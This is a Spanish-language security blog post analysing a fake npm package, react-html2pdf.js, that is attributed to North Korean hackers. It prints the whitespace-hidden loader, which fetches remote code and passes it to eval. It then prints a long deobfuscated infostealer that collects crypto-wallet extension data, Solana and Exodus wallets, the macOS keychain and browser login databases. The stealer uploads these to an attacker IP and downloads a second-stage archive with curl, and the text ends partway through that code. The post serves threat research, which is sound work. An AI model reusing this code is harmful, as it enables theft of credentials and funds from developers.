Producto
Todo lo que necesita para proteger el código, la nube y el tiempo de ejecución en un sistema centralizado
Código
Dependencias
Prevenir los riesgos del código abierto (SCA)
Secretos
Ser marcado por secretos expuestos
SAST
Código seguro tal como está escrito
Imágenes de contenedores
Crear imágenes seguras
Malware
Prevenir los ataques a la cadena de suministro
IaC
Buscar errores de configuración en IaC
Riesgo de licencia y SBOM
Evitar riesgos, cumplir la normativa
Software obsoleto
Conozca sus tiempos de ejecución EOL
Nube
CSPM
Desconfiguraciones de la nube
DAST
Pruebas de seguridad de caja negra
Exploración de API
Pruebe sus API en busca de vuln
Máquinas virtuales
Sin agentes ni gastos generales
Tiempo de ejecución de Kubernetes
pronto
Proteja sus cargas de trabajo en contenedores
Inventario en la nube
pronto
Solución a la proliferación de nubes
Defienda
Protección en tiempo de ejecución
Cortafuegos en la aplicación / WAF
Características
AI AutoFix
Arreglos en 1 clic con Aikido AI
CI/CD Seguridad
Escaneado antes de la fusión y el despliegue
Integraciones IDE
Obtenga información instantánea mientras codifica
Escáner local
Escaneado local centrado en el cumplimiento
Soluciones
Casos prácticos
Conformidad
Automatice SOC 2, ISO y más
Gestión de vulnerabilidades
Gestión de vulnerabilidades todo en uno
Proteja su código
Seguridad avanzada del código
Generar SBOM
1 clic Informes SCA
ASPM
AppSec de extremo a extremo
IA en el Aikido
Deja que Aikido AI haga el trabajo
Bloque 0-Días
Bloquee las amenazas antes del impacto
Industrias
FinTech
HealthTech
HRTech
Tecnología jurídica
Empresas del grupo
Agencias
Startups
Empresa
Aplicaciones móviles
Fabricación
Precios
Recursos
Desarrollador
Docs
Cómo utilizar el Aikido
Documentación pública sobre la API
Centro de desarrollo del aikido
Registro de cambios
Vea lo que se ha enviado
Seguridad
Investigación interna
Inteligencia sobre malware y CVE
Glosario
Guía de la jerga de seguridad
Centro de confianza
Seguro, privado, conforme
Código abierto
Aikido Intel
Amenazas de malware y OSS
Zen
Protección cortafuegos integrada en la aplicación
OpenGrep
Motor de análisis de código
Integraciones
IDEs
Sistemas CI/CD
Nubes
Sistemas Git
Conformidad
Mensajeros
Gestores de tareas
Más integraciones
Acerca de
Acerca de
Acerca de
Conozca al equipo
Carreras profesionales
Estamos contratando
Dossier de prensa
Descargar activos de marca
Calendario
¿Nos vemos?
Código abierto
Nuestros proyectos de OSS
Blog
Las últimas entradas
Historias de clientes
La confianza de los mejores equipos
Póngase en contacto con
Inicio de sesión
Empezar gratis
No se requiere CC
Aikido
Menú
Aikido
ES
ES
FR
JP
Inicio de sesión
Empezar gratis
No se requiere CC
Blog
/
Malware oculto a plena vista: Espiando a los hackers norcoreanos

Malware oculto a plena vista: Espiando a los hackers norcoreanos

Por
Charlie Eriksen
Charlie Eriksen
4 min leer

El 13 de marzo de 2025, nuestro motor de análisis de malware nos alertó de un posible paquete malicioso que se había añadido a NPM. Los primeros indicios sugerían que se trataba de un caso claro, sin embargo, cuando empezamos a retirar las capas, las cosas no eran exactamente como parecían. 

He aquí una historia sobre cómo los sofisticados actores de un Estado nación pueden ocultar programas maliciosos dentro de paquetes. 

Notificación

Justo después de la 1 de la tarde, nuestra herramienta de detección de malware nos notificó que se había subido un nuevo paquete malicioso a NPM, dirigiéndonos al paquete react-html2pdf.js (eliminado desde entonces). Al parecer, este paquete se hacía pasar por el popular paquete legítimo react-html2pdf de npm. Aunque parecía sospechoso, no pudimos ver inmediatamente la amenaza que representaba, hasta que lo analizamos un poco más de cerca.

Cómo esconderse a plena vista

El primer paso que dimos fue examinar la paquete.json. La mayoría del malware tendrá un gancho de ciclo de vida como preinstale, instalar, postinstalación. Pero no lo vimos en este paquete.

{
  "name": "react-html2pdf.js",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

A continuación, echamos un vistazo dentro del archivo index.js. Pero extrañamente tampoco había nada aquí. Empezando a preguntarnos si nuestro detector de malware estaba alertando sobre falsas postividades, finalmente descubrimos algo.... ¿Puedes verlo?

Es fácil pasarlo por alto, pero aquí hay algo que no funciona. 

¿Te has fijado en la barra de desplazamiento horizontal? ¿Qué intenta ocultar? Nos desplazamos a un lado, y ahí estaba nuestra respuesta. 

Aquí está la versión embellecida del código.

function html2pdf() {
    (async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
        headers: {
            "x-secret-key": "locationchecking"
        }
    })).data))()
    return "html2pdf"
}

module.exports = html2pdf

Ahí lo tenemos. Es hacer una petición HTTP a una URL y pasar la respuesta directamente a eval(). 

Todos cometemos errores

Tardamos unos instantes en darnos cuenta de que nuestra detección automática era correcta y nos sentimos un poco incómodos por haber dudado de su corrección. Pero todos cometemos errores, correcto...... Incluso los atacantes los cometen, de hecho ellos mismos cometieron varios errores. 

  1. Hay dos dependencias en el paquete: sqlite3 y petición. Ninguno de los dos ha axios como dependencia.
  2. No hay declaración import/require para axios.

Como resultado, este ataque nunca habría funcionado. Incluso si hubieran incluido axios como una dependencia, todavía faltaba una importación. 

Verlos tantear en tiempo real

Puede parecer que esta es una historia sobre un intento fallido de escribir malware. Esta historia no ha hecho más que empezar y ha ocurrido algo muy interesante. Pudimos ver cómo los atacantes depuraban y corregían sus errores en tiempo real. 

Nuestro analizador de malware detectó este paquete en la versión 1.0.0, pero las versiones siguientes nos proporcionaron información valiosa sobre la forma de operar de estos actores de amenazas y nos entretuvieron sin fin al verles tantear y fracasar a la hora de hacer funcionar su ataque.  

1.0.0 - 13/3/2025, 12:54:40 PM

Versión interior 1.0.0la primera versión, el paquete consiste en el mismo archivo index.js mostrado anteriormente, y hay un archivo llamado /test/script.js. Todo lo que hace es esto:

const html2pdf = requerir(react-html2pdf.js)

consola.log(html2pdf())

Esto simplemente resuelve el paquete en sí y ejecuta la carga útil. Probablemente se utilizaría como parte de un gancho del ciclo de vida, pero no había ninguno.

1.0.1 - 13/3/2025, 14:10:00

En esta versión parece que están depurando su código. A diferencia de la versión 1.0.0, no se esfuerzan tanto por ocultar su código malicioso.

Cambiaron el código para utilizar una función asíncrona en lugar de una lambda anónima. También añadieron una declaración de registro en la consola. 

Incluso los APT depuran código con console.log ¡Por lo visto!

Están intentando determinar por qué no realiza la petición HTTP esperada. Obviamente, es porque no hay dependencia de axios y ninguna declaración de importación para él.

1.0.2 - 13/3/2025, 14:23:49

15 minutos después parece que finalmente se dieron cuenta de que necesitan añadir axios como dependencia e incluyeron axios@^1.8.3. 

{
  "name": "react-html2pdf.js",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "axios": "^1.8.3",
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Por lo demás, el código es el mismo. Sigue teniendo registro de depuración y no ha vuelto a introducir la ofuscación de espacios en blanco. 

Mientras se acercan, los atacantes aún no se han acordado de importar axios. 

1.0.3 - 13/03/2025, 14:37:23

Unos minutos más tarde recibimos otra actualización. Está claro que todavía están tratando de depurar el problema con los cambios en el archivo index.js en esta versión. Desafortunadamente para ellos, todavía no han descubierto el origen del problema. 

const html2pdf = async () => {
    const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
    console.log("checked ok");
    eval(res.data.cookie);
    return "html2pdf"
}

module.exports = html2pdf

Notará dos cambios:

  1. En lugar de una función, la definen como una lambda asíncrona. 
  2. Son eval()'ing el res.data.cookie en lugar de res.data como en versiones anteriores. Pero el payload no está en la cookie o en un campo llamado cookie cuando lo obtenemos del servidor. 

Sin embargo, esto sigue sin funcionar debido a la falta de una declaración import/require. 

Análisis de la carga útil

Con un sorteo en la oficina para apostar cuánto tardarían en descubrir su error, esperábamos con impaciencia la siguiente actualización. Desgraciadamente, los atacantes parecían frustrados, perdiendo la motivación para su hazaña al no recibir más actualizaciones. Esto nos dio algo de tiempo para indagar un poco más y analizar la carga maliciosa que intentaban inyectar. 

Al igual que sus otros paquetes, está ofuscado. Una vez que lo pasamos por un poco de desofuscación, terminamos con una carga útil muy clásica que está bien documentada. 

(function (_0x439ccd, _0x2f2b84) {
  const _0x48e319 = _0x439ccd();
  while (true) {
    try {
      const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
      if (_0xc3ac80 === _0x2f2b84) {
        break;
      } else {
        _0x48e319.push(_0x48e319.shift());
      }
    } catch (_0x6c2a0f) {
      _0x48e319.push(_0x48e319.shift());
    }
  }
})(_0x506f, 354290);
const _0x7b1f8a = function () {
  let _0x4ca892 = true;
  return function (_0x56e847, _0x590243) {
    const _0x745c8c = _0x4ca892 ? function () {
      if (_0x590243) {
        const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
        _0x590243 = null;
        return _0x322c0c;
      }
    } : function () {};
    _0x4ca892 = false;
    return _0x745c8c;
  };
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
  return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
  const _0x1eb954 = _0x506f();
  _0x5e84 = function (_0x3109a1, _0x3d8eb2) {
    _0x3109a1 = _0x3109a1 - 390;
    let _0x273b10 = _0x1eb954[_0x3109a1];
    if (_0x5e84.QApUJJ === undefined) {
      var _0x4807eb = function (_0x1c601e) {
        let _0x52517a = '';
        let _0xb93639 = '';
        let _0x194ad5 = _0x52517a + _0x4807eb;
        let _0x9c31a6 = 0;
        let _0x5bbe0b;
        let _0x1757c6;
        for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
          _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
        }
        let _0x469363 = 0;
        for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
          _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0xb93639);
      };
      _0x5e84.SmAvPn = _0x4807eb;
      _0x491dbf = arguments;
      _0x5e84.QApUJJ = true;
    }
    const _0x3c1851 = _0x1eb954[0];
    const _0x59b60e = _0x3109a1 + _0x3c1851;
    const _0x55f78b = _0x491dbf[_0x59b60e];
    if (!_0x55f78b) {
      const _0x5f300b = function (_0x2fd671) {
        this.QHOMud = _0x2fd671;
        this.YVDaph = [1, 0, 0];
        this.JcbGmJ = function () {
          return 'newState';
        };
        this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
        this.JLwvwW = "['|\"].+['|\"];? *}";
      };
      _0x5f300b.prototype.mifMRh = function () {
        const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
        const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
        return this.BbIAmR(_0x3a34db);
      };
      _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
        if (!Boolean(~_0x42c1a6)) {
          return _0x42c1a6;
        }
        return this.bXmZOq(this.QHOMud);
      };
      _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
        let _0x47b9b1 = 0;
        for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
          this.YVDaph.push(Math.round(Math.random()));
          _0x2729f9 = this.YVDaph.length;
        }
        return _0xbd8ca5(this.YVDaph[0]);
      };
      new _0x5f300b(_0x5e84).mifMRh();
      _0x273b10 = _0x5e84.SmAvPn(_0x273b10);
      _0x491dbf[_0x59b60e] = _0x273b10;
    } else {
      _0x273b10 = _0x55f78b;
    }
    return _0x273b10;
  };
  return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
  const _0x11156e = {
    npoYK: 'IOjyc'
  };
  _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
    return _0x2abc93 === _0x52b5bf;
  };
  _0x11156e.gBKuE = "arDDM";
  _0x11156e.ptaJJ = "Moloi";
  let _0x135685 = true;
  return function (_0x2f5864, _0x41df13) {
    if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
      try {
        const _0x1cb1ce = {
          filename: _0x2d36f8 + '_lst'
        };
        _0xf5f415.push({
          'value': _0x404acb.createReadStream(_0x321d52),
          'options': _0x1cb1ce
        });
      } catch (_0x2a90eb) {}
    } else {
      const _0x1b0bdc = _0x135685 ? function () {
        if (_0x41df13) {
          const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
          _0x41df13 = null;
          return _0x1854ff;
        }
      } : function () {};
      _0x135685 = false;
      return _0x1b0bdc;
    }
  };
}();
const _0x2beb3b = _0x37a9de(this, function () {
  const _0xf65419 = function () {
    let _0x2cff02;
    try {
      _0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1b5eab) {
      _0x2cff02 = window;
    }
    return _0x2cff02;
  };
  const _0x1b948b = _0xf65419();
  const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
  const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
  for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
    const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
    const _0x444ab9 = _0x212c22[_0xf72095];
    const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
    _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
    _0x394e1b.toString = _0x442110.toString.bind(_0x442110);
    _0x342695[_0x444ab9] = _0x394e1b;
  }
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
  try {
    fs.accessSync(_0x133be5);
    return true;
  } catch (_0x4d579f) {
    return false;
  }
}
function _0x506f() {
  const _0x4e59ac = [....];
  _0x506f = function () {
    return _0x4e59ac;
  };
  return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
  return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
  let _0xbfe9a;
  if (!_0x4e59e1 || '' === _0x4e59e1) {
    return [];
  }
  try {
    if (!testPath(_0x4e59e1)) {
      return [];
    }
  } catch (_0x25bf31) {
    return [];
  }
  if (!_0x1e64c9) {
    _0x1e64c9 = '';
  }
  let _0x2ae51b = [];
  for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
    const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
    for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
      let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
      if (testPath(_0x2ef81f)) {
        let _0x1fd2c9 = [];
        try {
          _0x1fd2c9 = fs.readdirSync(_0x2ef81f);
        } catch (_0x354f49) {
          _0x1fd2c9 = [];
        }
        let _0x4808c4 = 0;
        if (!testPath(getAbsolutePath('~/') + "/.n3")) {
          fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
        }
        _0x1fd2c9.forEach(async _0x4e7f8b => {
          let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
          try {
            let _0x331d2f = fs.statSync(_0x3bca73);
            if (_0x331d2f.isDirectory()) {
              return;
            }
            if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
              const _0x50a239 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(_0x3bca73),
                'options': _0x50a239
              });
            } else {
              fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
              const _0x27ff50 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
                'options': _0x27ff50
              });
              _0x4808c4 += 1;
            }
          } catch (_0x365110) {}
        });
      }
    }
  }
  if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
    try {
      const _0x149c73 = {
        filename: "solana_id.txt"
      };
      _0x2ae51b.push({
        'value': fs.createReadStream(_0xbfe9a),
        'options': _0x149c73
      });
    } catch (_0x293a9e) {}
  }
  Upload(_0x2ae51b, _0x35144d);
  return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
  const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
  let _0x11a54c = [];
  if (testPath(_0x58f3c4)) {
    let _0x43f643 = [];
    try {
      _0x43f643 = fs.readdirSync(_0x58f3c4);
    } catch (_0x277851) {
      _0x43f643 = [];
    }
    let _0xfea5f8 = 0;
    _0x43f643.forEach(async _0x7fdd1f => {
      let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
      if (_0x1565a3.includes('-release')) {
        let _0xb824a = path.join(_0x1565a3, "/storage/default");
        let _0x5b8589 = [];
        _0x5b8589 = fs.readdirSync(_0xb824a);
        let _0x56f1bd = 0;
        _0x5b8589.forEach(async _0x1349f0 => {
          if (_0x1349f0.includes("moz-extension")) {
            let _0xb29520 = path.join(_0xb824a, _0x1349f0);
            _0xb29520 = path.join(_0xb29520, "idb");
            let _0xbf7b4c = [];
            _0xbf7b4c = fs.readdirSync(_0xb29520);
            _0xbf7b4c.forEach(async _0x39b65b => {
              if (_0x39b65b.includes(".files")) {
                let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
                let _0x907e03 = [];
                _0x907e03 = fs.readdirSync(_0x23bb34);
                _0x907e03.forEach(_0x18728f => {
                  if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
                    let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
                    const _0x3dabaf = {
                      filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
                    };
                    _0x11a54c.push({
                      'value': fs.createReadStream(_0x5c1eaa),
                      'options': _0x3dabaf
                    });
                  }
                });
              }
            });
          }
        });
        _0x56f1bd += 1;
      }
      _0xfea5f8 += 1;
    });
    Upload(_0x11a54c, _0x28bdbb);
    return _0x11a54c;
  }
};
const uploadEs = _0x259211 => {
  let _0x3d015b = '';
  let _0x237a59 = [];
  if ('w' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
  } else if ('d' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
  } else {
    _0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
  }
  if (testPath(_0x3d015b)) {
    let _0x12e506 = [];
    try {
      _0x12e506 = fs.readdirSync(_0x3d015b);
    } catch (_0x94bd45) {
      _0x12e506 = [];
    }
    let _0x28935a = 0;
    if (!testPath(getAbsolutePath('~/') + "/.n3")) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
    }
    _0x12e506.forEach(async _0x19fec3 => {
      let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
      try {
        fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
        const _0x61985d = {
          filename: "106_" + _0x19fec3
        };
        _0x237a59.push({
          'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
          'options': _0x61985d
        });
        _0x28935a += 1;
      } catch (_0x59cc5f) {}
    });
  }
  Upload(_0x237a59, _0x259211);
  return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
  const _0x56f846 = {
    type: "106"
  };
  _0x56f846.hid = "106_" + hostname;
  _0x56f846.uts = _0x486521;
  _0x56f846.multi_file = _0x5371da;
  try {
    if (_0x5371da.length > 0) {
      const _0x4ca09a = {
        url: "http://144.172.96[.]80:1224/uploads",
        formData: _0x56f846
      };
      request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
    }
  } catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
  try {
    let _0x268ce4 = '';
    _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
    await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
  } catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
  let _0x3a24d9 = [];
  let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
  if (fs.existsSync(_0x39d8f5)) {
    try {
      const _0x94b19a = {
        filename: "logkc-db"
      };
      _0x3a24d9.push({
        'value': fs.createReadStream(_0x39d8f5),
        'options': _0x94b19a
      });
    } catch (_0x5a79ae) {}
  } else {
    _0x39d8f5 += '-db';
    if (fs.existsSync(_0x39d8f5)) {
      try {
        const _0x1aed52 = {
          filename: "logkc-db"
        };
        _0x3a24d9.push({
          'value': fs.createReadStream(_0x39d8f5),
          'options': _0x1aed52
        });
      } catch (_0x29bcaf) {}
    }
  }
  try {
    let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
    if (testPath(_0x17c169)) {
      for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
        const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
        try {
          if (!testPath(_0x141480)) {
            continue;
          }
          const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
          const _0x4c51e4 = {
            filename: 'pld_' + _0x1d1991
          };
          if (testPath(_0x11ddc5)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x11ddc5),
              'options': _0x4c51e4
            });
          } else {
            fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
              const _0x173efd = {
                filename: "pld_" + _0x1d1991
              };
              let _0x2adc61 = [{
                'value': fs.createReadStream(_0x141480),
                'options': _0x173efd
              }];
              Upload(_0x2adc61, _0x3714c5);
            });
          }
        } catch (_0x136aa3) {}
      }
    }
  } catch (_0x10da1f) {}
  try {
    let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
    if (testPath(_0x5877c5)) {
      for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
        const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
        try {
          if (!testPath(_0x388e88)) {
            continue;
          }
          const _0x4cb112 = _0x388e88 + "/Login Data";
          const _0x533124 = {
            filename: 'brld_' + _0x4289ac
          };
          if (testPath(_0x4cb112)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x4cb112),
              'options': _0x533124
            });
          } else {
            fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
              const _0x2c0338 = {
                filename: "brld_" + _0x4289ac
              };
              let _0x2511d4 = [{
                'value': fs.createReadStream(_0x388e88),
                'options': _0x2c0338
              }];
              Upload(_0x2511d4, _0x3714c5);
            });
          }
        } catch (_0x3a308e) {}
      }
    }
  } catch (_0x430644) {}
  Upload(_0x3a24d9, _0x3714c5);
  return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
  let _0x424c5f = [];
  let _0x4b95f2 = '';
  _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
  let _0x227f08 = _0x4b95f2 + "/Local State";
  if (fs.existsSync(_0x227f08)) {
    try {
      const _0x4a1d0a = {
        filename: _0x286e68 + "_lst"
      };
      _0x424c5f.push({
        'value': fs.createReadStream(_0x227f08),
        'options': _0x4a1d0a
      });
    } catch (_0x18477b) {}
  }
  try {
    if (testPath(_0x4b95f2)) {
      for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
        const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
        try {
          if (!testPath(_0x217a08)) {
            continue;
          }
          const _0x43a5b3 = _0x217a08 + "/Login Data";
          if (!testPath(_0x43a5b3)) {
            continue;
          }
          const _0x677c1e = {
            filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
          };
          _0x424c5f.push({
            'value': fs.createReadStream(_0x43a5b3),
            'options': _0x677c1e
          });
        } catch (_0x468130) {}
      }
    }
  } catch (_0x25db13) {}
  Upload(_0x424c5f, _0x4300cf);
  return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
  return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
  ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
    if (_0x5137bb) {
      fs.rmSync(_0x169ea8);
      return void (It = 0);
    }
    fs.rmSync(_0x169ea8);
    Xt();
  });
};
const runP = () => {
  const _0x63e597 = tmpDir + "\\p.zi";
  const _0x37a8dc = tmpDir + "\\p2.zip";
  if (It >= 51476596) {
    return;
  }
  if (fs.existsSync(_0x63e597)) {
    try {
      var _0x2d691c = fs.statSync(_0x63e597);
      if (_0x2d691c.size >= 51476596) {
        It = _0x2d691c.size;
        fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
          if (_0x34791b) {
            throw _0x34791b;
          }
          extractFile(_0x37a8dc);
        });
      } else {
        if (It < _0x2d691c.size) {
          It = _0x2d691c.size;
        } else {
          fs.rmSync(_0x63e597);
          It = 0;
        }
        Ht();
      }
    } catch (_0xf9efb1) {}
  } else {
    ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
      if (_0x33551d) {
        It = 0;
        return void Ht();
      }
      try {
        It = 51476596;
        fs.renameSync(_0x63e597, _0x37a8dc);
        extractFile(_0x37a8dc);
